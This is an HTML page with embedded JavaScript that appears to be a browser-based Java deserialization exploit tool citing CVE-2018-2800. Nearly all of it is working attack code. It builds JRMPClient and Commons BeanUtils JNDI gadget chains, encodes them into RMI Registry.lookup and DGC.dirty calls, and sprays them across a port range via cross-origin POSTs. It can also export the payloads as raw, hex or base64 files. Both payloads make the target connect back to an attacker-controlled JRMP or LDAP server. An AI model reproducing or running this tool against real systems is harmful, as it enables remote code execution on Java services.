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test.html
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test.html
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<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<script src="javaser.js" type="text/javascript" charset="utf-8"></script>
<style type="text/css">
.tabs {
position: relative;
min-height: 10em; /* This part sucks */
clear: both;
margin: 35px 0 25px;
}
.tab {
float: left;
}
.tab>label {
padding: 10px;
border: 1px solid;
margin-left: -1px;
position: relative;
left: 1px;
top: -29px;
}
.tab>[type=radio] {
display: none;
}
.content {
position: absolute;
top: -1px;
left: 0;
right: 0;
bottom: 0;
padding: 20px;
border: 1px solid;
opacity: 0;
}
.tabs .tab>[type=radio]:checked ~ label {
border-bottom: 1px solid;
background-color: white;
z-index: 2;
}
.tabs .tab>[type=radio]:checked ~ label ~ .content {
z-index: 1;
opacity: 1;
}
</style>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
<script type="text/javascript">
function encode_dgc_dirty(args) {
// Dgc.dirty
return encode_call(0, 2, 1, 4139157901, 2347927107, args);
}
function encode_registry_lookup(args) {
// Registry.lookup
return encode_call(0, 0, 2, 1142246857, 3571858399, args);
}
function encode_call(objIdHigh, objIdLow, methodId, methodHashHigh,
methodHashLow, args) {
var bytes = [];
var dos = new DataOutput(bytes);
new Integer(1246907721).write(dos); // Magic == JRMI
new Short(2).write(dos); // Version - 2
new Byte(76).write(dos); // SingleOpProtocol
new Byte(80).write(dos); // Type = Call
// this is the Connection/MarshalOutputStream setup for JRMP/RMI
var oos = new ObjectOutput(dos, {
'protocol' : 1,
'annotateClass' : function(cl) {
this.writeObject(new Null()); // location
},
'annotateProxyClass' : function(cl) {
this.writeObject(new Null()); // location
}
});
oos.writeHeader();
new Long(objIdHigh, objIdLow).write(oos); // objId
new Integer(0).write(oos); // UID - unique
new Long(0, 0).write(oos); // UID - time
new Short(0).write(oos); // UID - count
new Integer(methodId).write(oos);
new Long(methodHashHigh, methodHashLow).write(oos);
for (var i = 0; i < args.length; i++) {
oos.writeObject(args[i]);
}
oos.flush();
return bytes;
}
function encode_object(obj) {
var bytes = [];
var dos = new DataOutput(bytes);
var oos = new ObjectOutput(dos, {});
oos.writeHeader();
oos.writeObject(obj);
oos.flush();
return bytes;
}
function encode_hex(bytes) {
var hex = "";
for (var i = 0; i < bytes.length; i++) {
var b = bytes[i].toString(16);
if (b.length == 1) {
b = "0" + b;
}
hex += b;
}
return hex;
}
// from http://www.webtoolkit.info/javascript-base64.html
// LICENSE WARNING: the original function is licensed CC BY 2.0 UK
var B64_chrs = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
function encode_b64(bytes) {
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = 0;
while (i < bytes.length) {
chr1 = bytes[i++];
chr2 = bytes[i++];
chr3 = bytes[i++];
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}
output = output + B64_chrs.charAt(enc1) + B64_chrs.charAt(enc2)
+ B64_chrs.charAt(enc3) + B64_chrs.charAt(enc4);
}
return output;
}
function make_jrmp_client_payl(host, port) {
var objIdLow = Math.floor(Math.random() * 4294967295);
var objIdHigh = Math.floor(Math.random() * 4294967295);
return new Object(new ObjectStreamClass(
"sun.rmi.server.UnicastRef", 1922802161, 2643414530, [], {
'writeExternal' : function(out, obj) {
/*
((TCPEndpoint) ep).writeHostPortFormat(out);
out.writeUTF(host);
out.writeInt(port);
id.write(out);
out.writeLong(objNum);
out.writeInt(unique);
out.writeLong(time);
out.writeShort(count);
out.writeBoolean(isResultStream);
*/
out.writeUTF(host); // host
new Integer(port).write(out); // port
new Long(objIdHigh, objIdLow).write(out); // objId
new Integer(0).write(out); // UID - unique
new Long(0, 0).write(out); // UID - time
new Short(0).write(out); // UID - count
new Boolean(false).write(out); // isResultStream
}
}))
}
function make_beanutils_jndi_payl(beanutils_jndi_url) {
var brs = new ObjectStreamClass('javax.sql.rowset.BaseRowSet',
1137778085, 1304605152, [ {
'name' : 'concurrency',
'typeCode' : 'I'
}, {
'name' : 'escapeProcessing',
'typeCode' : 'Z'
}, {
'name' : 'fetchDir',
'typeCode' : 'I'
}, {
'name' : 'fetchSize',
'typeCode' : 'I'
}, {
'name' : 'isolation',
'typeCode' : 'I'
}, {
'name' : 'maxFieldSize',
'typeCode' : 'I'
}, {
'name' : 'maxRows',
'typeCode' : 'I'
}, {
'name' : 'queryTimeout',
'typeCode' : 'I'
}, {
'name' : 'readOnly',
'typeCode' : 'Z'
}, {
'name' : 'rowSetType',
'typeCode' : 'I'
}, {
'name' : 'showDeleted',
'typeCode' : 'Z'
}, {
'name' : 'URL',
'typeString' : 'Ljava/lang/String;'
}, {
'name' : 'asciiStream',
'typeString' : 'Ljava/io/InputStream;'
}, {
'name' : 'binaryStream',
'typeString' : 'Ljava/io/InputStream;'
}, {
'name' : 'charStream',
'typeString' : 'Ljava/io/Reader;'
}, {
'name' : 'command',
'typeString' : 'Ljava/lang/String;'
}, {
'name' : 'dataSource',
'typeString' : 'Ljava/lang/String;'
}, {
'name' : 'listeners',
'typeString' : 'Ljava/util/Vector;'
}, {
'name' : 'map',
'typeString' : 'Ljava/util/Map;'
}, {
'name' : 'params',
'typeString' : 'Ljava/util/Hashtable;'
}, {
'name' : 'unicodeStream',
'typeString' : 'Ljava/io/InputStream;'
}, ], {});
var rs = new ObjectStreamClass('com.sun.rowset.JdbcRowSetImpl',
3458652191, 1232323077, [ {
'name' : 'conn',
'typeString' : 'Ljava/sql/Connection;'
}, {
'name' : 'iMatchColumns',
'typeString' : 'Ljava/util/Vector;'
}, {
'name' : 'ps',
'typeString' : 'Ljava/sql/PreparedStatement;'
}, {
'name' : 'resMD',
'typeString' : 'Ljava/sql/ResultSetMetaData;'
}, {
'name' : 'rowsMD',
'typeString' : 'Ljavax/sql/rowset/RowSetMetaDataImpl;'
}, {
'name' : 'rs',
'typeString' : 'Ljava/sql/ResultSet;'
}, {
'name' : 'strMatchColumns',
'typeString' : 'Ljava/util/Vector;'
}, ], {
'superClass' : brs
});
var bc = new ObjectStreamClass(
"org.apache.commons.beanutils.BeanComparator", 3819014378,
1931650120, [ {
'name' : 'comparator',
'typeString' : 'Ljava/util/Comparator;'
}, {
'name' : 'property',
'typeString' : 'Ljava/lang/String;'
} ], {});
var rc = new ObjectStreamClass(
"java.util.Collections$ReverseComparator", 1678019312,
1397639888, [], {});
var pq = new ObjectStreamClass("java.util.PriorityQueue",
2497327284, 4215243441, [ {
'name' : 'size',
'typeCode' : 'I'
}, {
'name' : 'comparator',
'typeString' : 'Ljava/util/Comparator;'
} ], {
'writeObject' : function(out, obj, desc) {
var elems = obj.values['elements'];
var len = elems ? elems.length : 0;
obj.values['size'] = new Integer(len);
out.defaultWriteObject(obj, desc);
new Integer(len).write(out);
for (var i = 0; i < len; i++) {
out.writeObject(elems[i]);
}
}
});
var rso = new Object(rs, {
'dataSource' : new String(beanutils_jndi_url)
});
return new Object(pq, {
"elements" : [ rso, rso ],
"comparator" : new Object(bc, {
'comparator' : new Object(rc, {}),
'property' : new String('databaseMetaData')
})
});
}
function send(host, port, payl) {
var oReq = new XMLHttpRequest();
var url = "http://" + host + ":" + port + "/";
console && console.log && console.log("Sending payload to " + url);
oReq.open("POST", url, true);
var arr = new ArrayBuffer(payl.length);
var byteArray = new Uint8Array(arr);
for (var i = 0; i < payl.length; ++i) {
byteArray[i] = payl[i];
}
oReq.send(arr);
return oReq;
}
function get_radio(name) {
var radios = document.getElementsByName(name);
for (var i = 0, length = radios.length; i < length; i++) {
if (radios[i].checked) {
return radios[i].value;
}
}
}
function make_payload(payl_type) {
if (payl_type == "jrmp_client") {
var jrmp_client_host = document
.getElementById('jrmp_client_host').value;
var jrmp_client_port = parseInt(document
.getElementById('jrmp_client_port').value, 10);
return make_jrmp_client_payl(jrmp_client_host, jrmp_client_port);
} else if (payl_type == "beanutils_jndi") {
var beanutils_jndi_url = document
.getElementById('beanutils_jndi_url').value;
return make_beanutils_jndi_payl(beanutils_jndi_url);
} else {
throw "Invalid payload";
}
}
function go_jmx() {
var host = document.getElementById('host').value;
var port_low = parseInt(document.getElementById('port_low').value,
10);
var port_high = parseInt(
document.getElementById('port_high').value, 10);
if (!port_high) {
port_high = port_low;
}
var rpc_target = get_radio("rpc_target");
var payl_type = get_radio("payload");
console.log("Payload is " + payl_type + " target service "
+ rpc_target);
args = [ make_payload(payl_type) ];
var payl;
if (rpc_target == "registry") {
payl = encode_registry_lookup(args);
} else if (rpc_target == "dgc") {
payl = encode_dgc_dirty(args);
} else {
throw "Invalid target";
}
next = function(host, port, payl) {
req = send(host, port, payl);
window.current_req = req;
req.addEventListener("error", function(ev) {
if (port >= port_high) {
return;
}
var np = port + 1;
document.getElementById("progress").value = 100
* (port - port_low) / (port_high - port_low);
next(host, np, payl);
});
req.addEventListener("abort", function(ev) {
console.log("Cancelled");
window.current_req = null;
});
}
next(host, port_low, payl);
}
var encoders = {
'raw' : {
'printable' : false,
'encode' : function(bytes) {
return bytes;
},
'blob' : function(bytes) {
var arr = new Uint8Array(bytes.length);
for (var i = 0; i < bytes.length; i++) {
arr[i] = bytes[i];
}
return new Blob([arr], {
type : 'application/octet-stream'
});
}
},
'hex' : {
'printable' : true,
'encode' : encode_hex,
'blob' : function(data) {
return new Blob([data], {
type : 'text/plain'
});
}
},
'b64' : {
'printable' : true,
'encode' : encode_b64,
'blob' : function(data) {
return new Blob([data], {
type : 'text/plain'
});
}
}
}
function go_generate() {
var payl_type = get_radio("payload");
var payl_enc = get_radio("payload_encoding") || "raw";
console.log("Payload is " + payl_type + " encoding " + payl_enc);
var obj = make_payload(payl_type);
var bytes = encode_object(obj);
var codec = encoders[payl_enc];
var encoded = codec.encode(bytes);
var out = document.getElementById('output');
out.style.display = 'block';
document.getElementById('output_length').textContent = encoded.length;
document.getElementById('output_format').textContent = payl_enc;
if (codec.printable) {
document.getElementById('output_text').style.display = 'block';
document.getElementById('output_text').textContent = encoded;
} else {
document.getElementById('output_text').style.display = 'none';
}
out.blob = codec.blob(encoded);
out.filename = payl_type + "." + payl_enc;
}
// https://stackoverflow.com/a/30832210
function download() {
var out = document.getElementById('output');
var file = out.blob;
var filename = out.filename;
if (window.navigator.msSaveOrOpenBlob) { // IE10+
window.navigator.msSaveOrOpenBlob(file, filename);
} else { // Others
var a = document.createElement("a"), url = URL
.createObjectURL(file);
a.href = url;
a.download = filename;
document.body.appendChild(a);
a.click();
setTimeout(function() {
document.body.removeChild(a);
window.URL.revokeObjectURL(url);
}, 0);
}
}
function go() {
var output = get_radio("output");
if (output == "rmi") {
go_jmx();
} else {
go_generate();
}
}
function cancel() {
var cur = window.current_req;
if (cur) {
cur.abort();
}
}
// -->
</script>
<form>
<fieldset>
<legend>Target</legend>
<div class="tabs">
<div class="tab">
<input type="radio" id="out_generate" name="output"
value="generate" checked="checked" /> <label for="out_generate">Generate</label>
<div class="content">
<div>
<input type="radio" id="payload_encoding_raw"
name="payload_encoding" value="raw" checked="checked" /> <label
for="payload_encoding_raw">Raw</label> <input type="radio"
id="payload_encoding_hex" name="payload_encoding" value="hex" />
<label for="payload_encoding_hex">Hex</label> <input type="radio"
id="payload_encoding_b64" name="payload_encoding" value="b64" />
<label for="payload_encoding_b64">Base64</label>
</div>
</div>
</div>
<div class="tab">
<input type="radio" id="out_rmi" name="output" value="rmi" /> <label
for="out_rmi">JMX/RMI</label>
<div class="content">
<p>CVE-2018-2800 - JMX/RMI offered a HTTP transport that allows cross
origin requests.</p>
<label for="host">Host:</label> <input id="host" type="text"
value="localhost" /> <label for="port_low">Port:</label> <input
id="port_low" type="text" value="1099" /> <span id="range"
style="display: none;"> - <input id="port_high"
type="text" value="" /> <progress id="progress" value="0"
max="100"></progress>
</span>
<div>
<input type="radio" id="rpc_target_registry" name="rpc_target"
value="registry" checked="checked" /> <label
for="rpc_target_registry">Registry.lookup()</label> <input
type="radio" id="rpc_target_dgc" name="rpc_target" value="dgc" />
<label for="rpc_target_dgc">DGC.dirty()</label>
</div>
</div>
</div>
</div>
</fieldset>
<fieldset>
<legend>Payload</legend>
<div class="tabs">
<div class="tab">
<input type="radio" id="payl_jrmp_client" name="payload"
value="jrmp_client" checked="checked" /> <label
for="payl_jrmp_client">JRMPClient (reverse filter bypass)</label>
<div class="content">
<p>Trigger a connection back to an attacker controlled JRMP
server that delivers the final deserialization payload</p>
<label for="jrmp_client_host">Connect Host:</label> <input
id="jrmp_client_host" type="text" value="localhost" /> <label
for="jrmp_client_port">Port:</label> <input id="jrmp_client_port"
type="text" value="1099" />
</div>
</div>
<div class="tab">
<input type="radio" id="payl_beanutils" name="payload"
value="beanutils_jndi" /> <label for="payl_beanutils">Commons
Beanutils (JNDI)</label>
<div class="content">
<label for="beanutils_jndi_url">JNDI URI:</label> <input
id="beanutils_jndi_url" type="text"
value="ldap://localhost:1389/obj" />
</div>
</div>
</div>
</fieldset>
<input type="button" value="Go" onclick="go()" /> <input
type="button" value="Cancel" onclick="cancel()" />
<fieldset id="output" style="display: none; margin-top: 2em;">
<legend>Output</legend>
<div>
<span id="output_length">0</span> bytes encoded as <span
id="output_format"></span>.
</div>
<input type="button" value="Download" onclick="download()" />
<textarea style="width: 100%;" id="output_text"
style="display: none;" rows="10" cols="80"></textarea>
</fieldset>
</form>
</body>
</html>